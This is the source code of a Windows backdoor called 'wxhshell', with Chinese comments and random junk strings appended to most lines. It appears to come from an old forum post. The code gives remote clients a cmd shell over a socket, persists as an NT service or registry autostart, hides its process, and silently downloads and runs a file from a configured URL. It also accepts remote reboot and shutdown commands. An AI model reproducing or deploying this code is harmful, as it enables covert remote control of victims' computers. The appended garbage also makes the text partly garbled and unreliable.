vGHYB1=~  
    switch(cmd[0]) { KL"L65g&  
  be%*0lr  
  // 帮助 5g>kr< K  
  case '?': { g2<S4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '0$[Ujc  
    break; Z2jb>%  
  } pDq_nx9  
  // 安装 Z|S7 " ,  
  case 'i': { "]V|bz o0a  
    if(Install()) 5w{pX1z1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V>92/w.fe  
    else :=eUNH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k+M-D~@5H  
    break; VDY1F_Fk  
    } |6^ K  
  // 卸载 '\\Cpc_g  
  case 'r': { B&N&eRAE  
    if(Uninstall()) /-4B)mL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QXj(U&#rp  
    else }c5`~ LLK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /mu4J|[[  
    break; Y<fXuj|&  
    } hP<qKVy  
  // 显示 wxhshell 所在路径 lFY8^#@  
  case 'p': { T=dvc}  
    char svExeFile[MAX_PATH]; + aqo8'a  
    strcpy(svExeFile,"\n\r"); }_;!E@  
      strcat(svExeFile,ExeFile); S9oGf  
        send(wsh,svExeFile,strlen(svExeFile),0); &:K?-ac  
    break; H H3  
    } Lta\AN!c  
  // 重启 j!7Uj]  
  case 'b': { M6#(F7hB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0*x?  
    if(Boot(REBOOT)) <t37DnCgI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VW`=9T5%@  
    else { yo?Q%w'Nh  
    closesocket(wsh); {hR2NUm  
    ExitThread(0); f"^tOgGH  
    } V7_??L%Ct`  
    break; 6E]rxps}"  
    }  +'.Q-  
  // 关机 Q*(o;\s  
  case 'd': { qG]PUc>j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x)L@x Q  
    if(Boot(SHUTDOWN)) *$D-6}Oay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Ql}jSKi  
    else { 5wX>PJS  
    closesocket(wsh); K_n%`5  
    ExitThread(0); q /?_djv  
    } m5{SPa,y  
    break; }L9j`17  
    } EdpR| z  
  // 获取shell p]4 sN  
  case 's': { PM7/fv*,  
    CmdShell(wsh); Lai"D[N  
    closesocket(wsh); ||aU>Wj4  
    ExitThread(0); IhLfuyFWu  
    break; Kx0dOkE  
  } 2_X0Og8s[  
  // 退出 .SN]hLV5  
  case 'x': { |3m%d2V*hF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D9 en  
    CloseIt(wsh); 7<D_ h/WV  
    break; aK'r=NU  
    } BYU.ptiJJ  
  // 离开 mGvP9E"&  
  case 'q': { @jKB!z9{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JB<4 m4-  
    closesocket(wsh); Kq$1lPI  
    WSACleanup(); ^ZG1  
    exit(1); I]X<L2  
    break; Di*>PE@  
        } GWKefH  
  } ny=iAZM>q  
  } QUf_fe!,|  
x}d\%* B  
  // 提示信息 &bQ^J%\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Y Ox`z!R  
} k W,|>  
  } x5ia<V>=d  
m='OnTeOE  
  return; M_K&x-H0  
} zdCt#=QV?R  
zlE kP @)  
// shell模块句柄 h 8s*FI  
int CmdShell(SOCKET sock) #x21e }Li  
{ )Pq.kn{Sp  
STARTUPINFO si; AI2CfH#:C  
ZeroMemory(&si,sizeof(si)); \X!!(Z;6A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _qV_(TpS+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K#jm6Xh?E  
PROCESS_INFORMATION ProcessInfo; yrw!b\  
char cmdline[]="cmd"; rQJoaP+\q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2 O%UT?R  
  return 0; J$0*K+m  
} A@UnrbX:  
@ 55Y2  
// 自身启动模式 O);V{1P  
int StartFromService(void) bGZy0.  
{  BeQJ/`  
typedef struct n" sGI  
{ Eq t61O$x  
  DWORD ExitStatus; ScEM#9T|  
  DWORD PebBaseAddress; i|*:gH  
  DWORD AffinityMask; 2.yzR DfZ  
  DWORD BasePriority; RW 5T}  
  ULONG UniqueProcessId; EOL03N   
  ULONG InheritedFromUniqueProcessId; c}A^0,"z>  
}   PROCESS_BASIC_INFORMATION; i> ;G4  
FwyPmtBj  
PROCNTQSIP NtQueryInformationProcess; l<5!R;?$  
VrpY BU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,~v1NK*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nbr{)h  
&A~1Q#4  
  HANDLE             hProcess; ,M9'S;&^  
  PROCESS_BASIC_INFORMATION pbi; C4y<+G.`  
0/c4%+ Ln  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F XbNmBXF  
  if(NULL == hInst ) return 0; ~34$D],D  
>Q YxX<W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {2!.3<#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T+I|2HYqOj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 74Lq!e3hMF  
<3i!{"}  
  if (!NtQueryInformationProcess) return 0; IlH*s/  
c Mq|`CM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E5B:79BGO  
  if(!hProcess) return 0; m$]?Jq  
cEe>Lyt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; STO6cNi  
w!61k \  
  CloseHandle(hProcess); X4jtti  
=h4XsV)rO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dD=dPi#  
if(hProcess==NULL) return 0; xand%XNv  
h 9No'!'!  
HMODULE hMod; 9T)-|fja_  
char procName[255]; nM@S`"  
unsigned long cbNeeded; [-Dx)N  
Y}PI{PN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %|UCs8EFm  
-FwOX~s/'  
  CloseHandle(hProcess); <`BUk< uf#  
XJGOX n$/  
if(strstr(procName,"services")) return 1; // 以服务启动 oTZNW  
G>"w$Us  
  return 0; // 注册表启动 k\A8Z[  
} -Zkl\A$>  
c{z QX0  
// 主模块 _8S!w>$)  
int StartWxhshell(LPSTR lpCmdLine) ,'[0tl}8K  
{ awGI|d  
  SOCKET wsl; tQF,E&Jo8  
BOOL val=TRUE; 8ex{N3  
  int port=0; Y`w+?}(M  
  struct sockaddr_in door; USv: + .  
$o0o5 ^Z-  
  if(wscfg.ws_autoins) Install(); '`I&g8I\  
}O-|b#Q  
port=atoi(lpCmdLine); h,45-#+  
ng"R[/)In  
if(port<=0) port=wscfg.ws_port; \}Z5}~S  
xx_]e4  
  WSADATA data; 1ve %xF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !K'j[cA^  
N[:;f^bH49  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J4&d6[40  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E9i M-Lw  
  door.sin_family = AF_INET; k?ZtRhPu3X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fYBmW')  
  door.sin_port = htons(port); A\X?Aq-^'  
],V_"\ATD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]c4?-Vq%u  
closesocket(wsl); 3 - Nwg9 U  
return 1; Iy% fg',%  
} @i U@JE`C  
ge %ytrst  
  if(listen(wsl,2) == INVALID_SOCKET) { _~]~ssn,1  
closesocket(wsl); }coSMTMv6  
return 1; 9.)*z-f$  
} [$:M/5y9  
  Wxhshell(wsl); /P { Zo  
  WSACleanup(); BWRAz*V  
vkUXMMuf+e  
return 0; O|wu;1pQ  
WZ,}]D  
} ^C$Oht,cU  
"x~VXU%xU  
// 以NT服务方式启动 M uz+j.0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !'scOWWn  
{ 3h N?l :/b  
DWORD   status = 0; {<$ D|<S  
  DWORD   specificError = 0xfffffff; \A "_|Yg  
i;Y3pF0%P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IY_u|7d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o\<m99Ub  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q5Yy \M  
  serviceStatus.dwWin32ExitCode     = 0; ygI81\ D  
  serviceStatus.dwServiceSpecificExitCode = 0; n/]w!  
  serviceStatus.dwCheckPoint       = 0; Qg9*mlm`  
  serviceStatus.dwWaitHint       = 0; xwvg @  
B:5NIa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a* 2*aH7  
  if (hServiceStatusHandle==0) return; 'OEh'\d+x  
Hg[g{A_G[  
status = GetLastError(); V/N:Of:\R  
  if (status!=NO_ERROR) @9$u!ny0  
{ 4S9hz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ahJ -T@  
    serviceStatus.dwCheckPoint       = 0; `3wzOMgJ  
    serviceStatus.dwWaitHint       = 0; EuH[G_5e0  
    serviceStatus.dwWin32ExitCode     = status; vH[G#A~4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ko7*9`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,?k0~fuG6  
    return; ioJ~k[T  
  } @'5*u~M  
S2APqRg*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5Yxs_t4  
  serviceStatus.dwCheckPoint       = 0; ^k#.;Q#4  
  serviceStatus.dwWaitHint       = 0; fCMFPhF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7A,QA5G ]C  
} E`A6GX  
cu |S|]g  
// 处理NT服务事件,比如:启动、停止 PQ0l<]Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sh@en\m=#S  
{ II,snRD  
switch(fdwControl) 'nx";[6(  
{ G d%X> ~  
case SERVICE_CONTROL_STOP: GS*Mv{JJ  
  serviceStatus.dwWin32ExitCode = 0; *m>XtBw.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  <u=k X  
  serviceStatus.dwCheckPoint   = 0;  sJ3O ]  
  serviceStatus.dwWaitHint     = 0; \h{M\bSIEa  
  { iHYvH   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y-ZTv(<  
  } :c?}~a~JO(  
  return; U %,K8u|WH  
case SERVICE_CONTROL_PAUSE: s7 K](T4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I k[{,p  
  break;  ?|$IZ9  
case SERVICE_CONTROL_CONTINUE: USDqh437  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n[f<]4<  
  break; }#bX{?f  
case SERVICE_CONTROL_INTERROGATE: yG/_k !{9  
  break; l2.L h<G  
}; wOg?.6<Kxa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gX'nFGqud  
} %=PGvu  
T+knd'2V6  
// 标准应用程序主函数 k6(9Rw8bCk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >cdxe3I\  
{ Fx]}<IudA^  
Xlp$ xp"  
// 获取操作系统版本 ?c7} v  
OsIsNt=GetOsVer(); ,x]xtg?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U%qE=u-  
M[}aQWT$v  
  // 从命令行安装 %9HL "  
  if(strpbrk(lpCmdLine,"iI")) Install(); 24; BY'   
x[m&ILr  
  // 下载执行文件 }iBFo\vU  
if(wscfg.ws_downexe) { o 00(\ -eb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O)EA2`)E  
  WinExec(wscfg.ws_filenam,SW_HIDE); !o{>[  
} g/_j"Nn  
KhFw%Z0s<  
if(!OsIsNt) { 2*5]6B-(  
// 如果时win9x,隐藏进程并且设置为注册表启动 #|ILeby  
HideProc(); K4`)srd  
StartWxhshell(lpCmdLine); `(Eiu$h6V-  
} ?ZS/`P0}[  
else #J_+ SL[  
  if(StartFromService()) %7vjYvo>  
  // 以服务方式启动 J6s@}@R1  
  StartServiceCtrlDispatcher(DispatchTable); wx]r{  
else s ~ Xa=_+D  
  // 普通方式启动 R{R'byre  
  StartWxhshell(lpCmdLine); r}%2;!T  
MjrI0@R  
return 0; K>_~zWnc  
}
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只看该作者 1 发表于: 2006-10-10
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